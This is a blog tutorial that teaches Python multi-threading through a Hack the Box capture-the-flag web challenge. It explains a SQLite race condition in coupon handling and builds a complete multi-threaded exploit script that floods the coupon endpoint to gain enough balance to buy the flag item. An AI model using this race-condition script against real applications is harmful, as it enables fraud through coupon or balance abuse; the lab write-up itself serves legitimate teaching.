Auspicious Security LLC logo
Hands-on Python Multi-threading Tutorial with Hack the Box Diogenes' Rage
July 2, 2023
Auspicious separator
Introduction

Python is a very useful programming and scripting language for many use cases, information security being among them. A key skill that will enhance and, more importantly, speed up obtaining results from a given programming task is the concept of multi-threading. This is the first in a two-part series to learn the basics of multi-threading in Python with a hands-on example. This first post will help lay a foundation of multi-threading that can be applied to numerous use cases. The second post follows up with a dive deep into utilizing the multi-threading technique to enumerate a database utilizing a blind SQL injection vulnerability.

This first tutorial will leverage the Hack the Box Web Challenge Diogenes’ Rage Web Challenge.

If you are only interested in Python Multi-threading and not the Challenge or following the hands-on lab skip to the last section on Multi-Threading.

Multiprocessing and Multi-threading

Spend any time building and maintaining Enterprise applications and you'll inevitably have to learn multi-threading concepts early on. When it comes to applying these skills to Python, I was initially frustrated to find many of the online tutorials focusing a large portion of the article on the computer science theory of threads and processors, then simply providing a large chunk of code at the end to decipher. We’re not going to do that here. This article is going to assume that you understand the importance of multiprocessing and threads. For now, we’ll offend some pedantic computer scientists with an oversimplification: multiprocessing is the ability of a computer to process various tasks simultaneously and multi-threading is the technique for leveraging that functionality within a programming construct.

Diogenes’ Rage Web Challenge

As a hands-on lab, this post will utilize the Hack the Box Web Challenge Diogenes’ Rage. If you would like to follow along in building a script for this, start this challenge on Hack the Box.

This is a Challenge geared towards pen testing web applications, and allows us to view the source code of the target application. After starting the challenge, in the Hack the Box console select the Download Files option to download a copy of the source code and unzip it for review.

Within Kali Linux, I will launch the community version of Burp Suite to assist in enumerating the application. Within the Proxy tab, I’ll ensure Intercept is off and then click Open browser to launch the Burp Chromium browser. This will allow us to view the web requests and responses needed for building our script.

Burp Suite proxy settings

In the browser we’ll navigate to our application and enumerate it briefly. We see a vending machine will several choices. We do not appear to be able to do anything until we add a token. Once the token is added we can purchase any of the items less than $1 but not anything over $1.

Diogenes’ Rage screenprint

Upon enumerating the available routes in the source code, we can see that the target flag will be displayed if we can select the C8 option within the /api/purchase route.

Source code flag location

When we try to purchase the C8 option it is clear that we cannot purchase it with our single $1 token. Back in Burp we can review the web requests including successful and failed /api/purchase calls.

Burp /api/purchase uri

When I first approached this challenge, I spent a fair amount of time looking for vulnerabilities within the source code but not finding the usual OWASP-type weaknesses. The key to this challenge lies in exploiting a vulnerability in the database concurrency and exploiting this logic through a race condition. It also teaches a valuable lesson on multi-threading with databases which is another reason I selected this Challenge as a hands-on exercise.

SQLite leverages database locking mechanisms that are quite common with transactional SQL databases. Of importance are Shared locks, which allow multiple simultaneous reads but not writes, Reserved locks, showing an intent to write to the database, and Exclusive locks, which are needed to write to the database and prevent other processes from reading or writing to the locked resource.

Closer review of the source code shows that the application makes no use of transactions. Transactions are used by applications to ensure data integrity. They are used by the programmer to instruct database locking across multiple queries and also assist in rollback of database changes should a logical or syntax exception be encountered in the application. If you encounter an application that performs any sort of financial calculation and has not accounted for SQL transactions, it certainly warrants a much closer look.

Review of the /api/coupons/apply route shows that the getUser() call determines if a user has already used a coupon or not. This is performed before the setCoupon() call, which marks that a user utilized a coupon. We can see in the database.js file that getUser() and setCoupon() are performing queries against the userData table. getUser() performs a SELECT query and therefore obtains a Shared lock while setCoupon() requires an Exclusive lock to perform the write and therefore must first add a Reserved lock against the userData table. Since these queries are not performed in the same transaction, separate locks are obtained and the database is left to sort out which queries are processed first against the userData table.

Source code showing getUser and setCoupon

The trick to this challenge is therefore to overwhelm the database with requests so that enough Shared locks (14 since we need $14) are in place before the first Reserved lock is placed from the setCoupon() function. There is also some luck involved in creating this race condition as the addBalance() call is also updating the userData table and we have to hope that the final update is a thread with at least $14, which is not guaranteed.

Recreating Web Requests in Python

Effectively writing Python scripts should be an iterative process where we start with a small working program and build on to it. Before we get into trying to perform multi-threading, let’s focus on recreating the steps and web requests needed to exploit our target application.

We have a couple of unknowns in our program off the bat. The IP provided to us by Hack the Box may change and at this point we aren’t sure how many threads we need to use in our attack. We’ll leverage the argparse library to assist with our command line parameters.

#!/usr/bin/python3 import argparse if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-t','--target', help='Target base URI endpoint i.e http://127.0.0.1:1234', required=True) parser.add_argument('-d','--threads', help="Number of threads to run", required=True) args = parser.parse_args()

We can then execute our program as follows. It doesn’t do anything at this point, but it helps us to validate we don’t have any errors. If for some reason argparse or any other Python module is not installed, you can install it with pip3.

pip3 install argparse

Now let’s try and recreate the web requests we’ll need to call. To avoid having to manually handle session cookies, we’ll leverage the requests.session object. We’ll also use subroutines to help organize out code, which will help later when we need transition to multi-threading.

Review of our Burp proxy shows a GET request to /api/reset at the beginning of our session, followed by POST requests to /api/coupons/apply and also /api/purchase. To help troubleshoot and debug, we’ll want to send our requests through our Burp proxy so we’ll declare a global variable to help with that. For now, we’ll create empty subroutines to get an idea of the structure of our code.

#!/usr/bin/python3 import argparse import requests proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'} def reset_session(target, session): # Calls /api/reset pass def apply_coupon(target, session, coupon_code): # Calls /api/coupons/apply pass def purchase(target, session, purchase_code): # Calls /api/purchase pass def coupon_attack(target, threads): # Performs attack on SQLite application sess = requests.Session() # Reset our session to ensure we have a coupon available reset_session(target, sess) # Attempt an invalid purchase to establish a session purchase(target, sess, "C8") # Apply our $1 coupon apply_coupon(target, sess, "HTB_100") # Attempt a purchase purchase(target, sess, "C8") if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-t','--target', help='Target base URI endpoint i.e http://127.0.0.1:1234', required=True) parser.add_argument('-d','--threads', help="Number of threads to run", required=True) args = parser.parse_args() coupon_attack(args.target, int(args.threads))

Again, we can run our program to ensure we don’t have any errors.

python3 mt_coupon_attack.py -t "http://188.166.144.14:31263" -d "15"

Let’s start filling in the web requests. We’ll start with the /api/reset subroutine. In Burp this is a straightforward GET request. We’re keeping this script simple so we won’t worry about setting any HEADER values at this point. If this were a real penetration test, we’d spend more time trying to mimic an actual web request.

Burp Suite /api/reset

Our subroutine for this function would be equally straightforward.

def reset_session(target, session): # Calls /api/reset print("(+) Resetting API") targeturi = target + "/api/reset" session.get(url=targeturi, proxies=proxies)

We’ll execute our script to verify it works.

python3 mt_coupon_attack.py -t "http://188.166.144.14:31263" -d "15"
Command output

Since we added our proxy configuration, we can view the request in Burp. We see that our Python script filled in some generic header information and the response from the server is similar to the response from our browser.

Burp result

Moving on to the /api/coupons/apply function we see in Burp that we need to perform a POST request with a JSON body that contains the coupon_code. We see additional headers not included in the prior GET request, but the most important one is the Content-Type. Without this, our body will likely not be interpreted properly by the web server.

Burp Suite /api/coupons/apply

We’ll build out this request in the apply_coupon() function, including the required header and body. The latest Python3 Requests module supports the json parameter, which allows us to pass in the array directly. On this function, we’ll also check the output. We could also check the response body text, but we know from enumeration that we’ll get a 403 status if it doesn’t work.

def apply_coupon(target, session, coupon_code): # Calls /api/coupons/apply print("(+) Cashing in our coupon!") targeturi = target + "/api/coupons/apply" headers = { "Content-Type": "application/json" } body = { "coupon_code": coupon_code } res = session.post(url=targeturi, json=body, headers=headers, proxies=proxies) if res.status_code == 200: print("(+) Got $1")

Running our code again we receive the desired results.

Command output

Back in Burp we can review the /api/coupon/apply request and we see the appropriate response from the server.

Burp response

One final function is the /api/purchase request. This is pretty much exactly the same as the /api/coupon/apply request in that it is a POST request with a JSON body. Whatever the result, we’ll paste the response text to the console.

def purchase(target, session, purchase_code): # Calls /api/purchase print("(+) Attempting purchase of " + purchase_code) targeturi = target + "/api/purchase" headers = { "Content-Type": "application/json" } body = { "item": purchase_code } res = session.post(url=targeturi, json=body, headers=headers, proxies=proxies) if res.status_code == 200: print("(+) Success: " + res.text) else: print("(-) Unsuccessful: " + res.text)

Running our code we see our first unsuccessful purchase (to establish a session) and our second unsuccessful purchase as expected.

Command output

Likewise, Burp shows what we’d expect also.

Expected Burp response
Multi-Threading our Python Code

If you’ve skipped down to this section to get right into the multi-threading logic, we are starting from our base code which runs a series of web requests in serial.

#!/usr/bin/python3 import argparse import requests proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'} def reset_session(target, session): # Calls /api/reset print("(+) Resetting API") targeturi = target + "/api/reset" session.get(url=targeturi, proxies=proxies) def apply_coupon(target, session, coupon_code): # Calls /api/coupons/apply print("(+) Cashing in our coupon!") targeturi = target + "/api/coupons/apply" headers = { "Content-Type": "application/json" } body = { "coupon_code": coupon_code } res = session.post(url=targeturi, json=body, headers=headers, proxies=proxies) if res.status_code == 200: print("(+) Got $1") def purchase(target, session, purchase_code): # Calls /api/purchase print("(+) Attempting purchase of " + purchase_code) targeturi = target + "/api/purchase" headers = { "Content-Type": "application/json" } body = { "item": purchase_code } res = session.post(url=targeturi, json=body, headers=headers, proxies=proxies) if res.status_code == 200: print("(+) Success: " + res.text) else: print("(-) Unsuccessful: " + res.text) def coupon_attack(target, threads): # Performs attack on SQLite application sess = requests.Session() # Reset our session to ensure we have a coupon available reset_session(target, sess) # Attempt an invalid purchase to establish a session purchase(target, sess, "C8") # Apply our $1 coupon apply_coupon(target, sess, "HTB_100") # Attempt a purchase purchase(target, sess, "C8") if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-t','--target', help='Target base URI endpoint i.e http://127.0.0.1:1234', required=True) parser.add_argument('-d','--threads', help="Number of threads to run", required=True) args = parser.parse_args() coupon_attack(args.target, int(args.threads))

Our goal will be to flood the server with attempts to use a coupon to abuse a race condition. In the above program’s case, this translates to running many instances of the apply_coupon() function in parallel.

When writing a multi-threaded application, I like to think of it in three basic steps.

For Python, we will be leveraging the concurrent.futures module. There are a number of ways to leverage concurrent.futures, but this technique will provide a well-rounded foundation that can be easily applied to most parallel computation use cases (though arguably there may be more efficient techniques depending on your goals and resources available).

For Step 1, we’ve pretty much already solved this. Our unit of work is to call the apply_coupon() function. In this particular case, we don’t need to worry about the outputs as it will all be tracked server side. The print() functions we’ve already included will be fine. For more information on dealing with outputs and a more complex example of utilizing concurrent.futures, see the next blog post in this series.

For Step 2, let’s see about generating the work. We don’t yet know how many threads we’ll use, so we’ll leave that variable. We're trying to overwhelm the server with coupons before it realizes it, so only a single batch makes sense. Let’s get to the code.

First, we’ll need to import the concurrent.futures module at the top of our program and then we’ll start modifying the coupon attack function, specifically replacing the line that calls the apply_coupon() function.

import concurrent.futures … def coupon_attack(target, threads): … # Attempt an invalid purchase to establish a session purchase(target, sess, "C8") # Send a batch of $1 coupon application requests batch = [] batchSize = threads # Set batch size to our input parameter # In a loop, create a batch of function parameters to call for n in range(1,(batchSize+1)): batch.append([target, sess, "HTB_100"])

In the code above we loop through and append an array of parameters to call our subroutine. This creates an array of an array of parameters. You can use this simply technique to call any function in parallel as long as you know the parameters you want to process up front.

Now for Step 3 we will simply send our batch using concurrent.futures.ThreadPoolExecutor() function and map the parameters from our batch array to the function. Finally, we’ll wait for all threads to complete with the concurrent.futures.wait(futures) command.

# Send batch to scheduler and run all threads at once with concurrent.futures.ThreadPoolExecutor(max_workers=batchSize) as executor: # Spawn threads in the batch futures = {executor.submit(apply_coupon, target, sess, coupon_code) for target, sess, coupon_code in batch} concurrent.futures.wait(futures)

That’s it! 7 lines of code including a simple FOR loop was all it took to convert our serial program to a multi-threaded program. We’ll make a couple of additional tweaks to our apply_coupon() to make this exploit run a bit smoother. First, to avoid spamming our console we’ll comment out the first print() statement and we’ll also remove the proxies=proxies from our post() function as this will just slow down our web requests. This particular challenge requires some speed.

With those changes we have our final exploit:

#!/usr/bin/python3 import argparse import requests import concurrent.futures proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'} def reset_session(target, session): # Calls /api/reset print("(+) Resetting API") targeturi = target + "/api/reset" session.get(url=targeturi, proxies=proxies) def apply_coupon(target, session, coupon_code): # Calls /api/coupons/apply #print("(+) Cashing in our coupon!") targeturi = target + "/api/coupons/apply" headers = { "Content-Type": "application/json" } body = { "coupon_code": coupon_code } res = session.post(url=targeturi, json=body, headers=headers) if res.status_code == 200: print("(+) Got $1") def purchase(target, session, purchase_code): # Calls /api/purchase print("(+) Attempting purchase of " + purchase_code) targeturi = target + "/api/purchase" headers = { "Content-Type": "application/json" } body = { "item": purchase_code } res = session.post(url=targeturi, json=body, headers=headers, proxies=proxies) if res.status_code == 200: print("(+) Success: " + res.text) else: print("(-) Unsuccessful: " + res.text) def coupon_attack(target, threads): # Performs attack on SQLite application sess = requests.Session() # Reset our session to ensure we have a coupon available reset_session(target, sess) # Attempt an invalid purchase to establish a session purchase(target, sess, "C8") # Send a batch of $1 coupon application requests batch = [] batchSize = threads # Set batch size to our input parameter # In a loop, create a batch of function parameters to call for n in range(1,(batchSize+1)): batch.append([target, sess, "HTB_100"]) # Send batch to scheduler and run all threads at once with concurrent.futures.ThreadPoolExecutor(max_workers=batchSize) as executor: # Spawn threads in the batch futures = {executor.submit(apply_coupon, target, sess, coupon_code) for target, sess, coupon_code in batch} concurrent.futures.wait(futures) # Attempt a purchase purchase(target, sess, "C8") if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-t','--target', help='Target base URI endpoint i.e http://127.0.0.1:1234', required=True) parser.add_argument('-d','--threads', help="Number of threads to run", required=True) args = parser.parse_args() coupon_attack(args.target, int(args.threads))

Running it takes some luck and experimentation to trigger the race condition. Try running it with different threads until you have success. Here I tried with 50 threads and was able to obtain $3.

python3 mt_coupon_attack.py -t "http://188.166.144.14:31263" -d "50"
50 thread command output

I kept trying pretty hard and eventually had luck with 65 threads. That was actually cutting it pretty close as I only had $0.63 remaining after purchasing the flag.

python3 mt_coupon_attack.py -t "http://188.166.144.14:31263" -d "65"
65 thread command output

In the next post, we’re going to expand on our usage of concurrent.futures with a more complex example: exploiting a blind SQL Injection vulnerability.

Auspicious separator

Information provided is for educational purposes only or for use in legal pentesting engagements and must not be used for illegal activities.

This website does not use cookies or other technologies to track your activities. Please see our Privacy Policy.

Copyright © 2021-2023 Auspicious Security LLC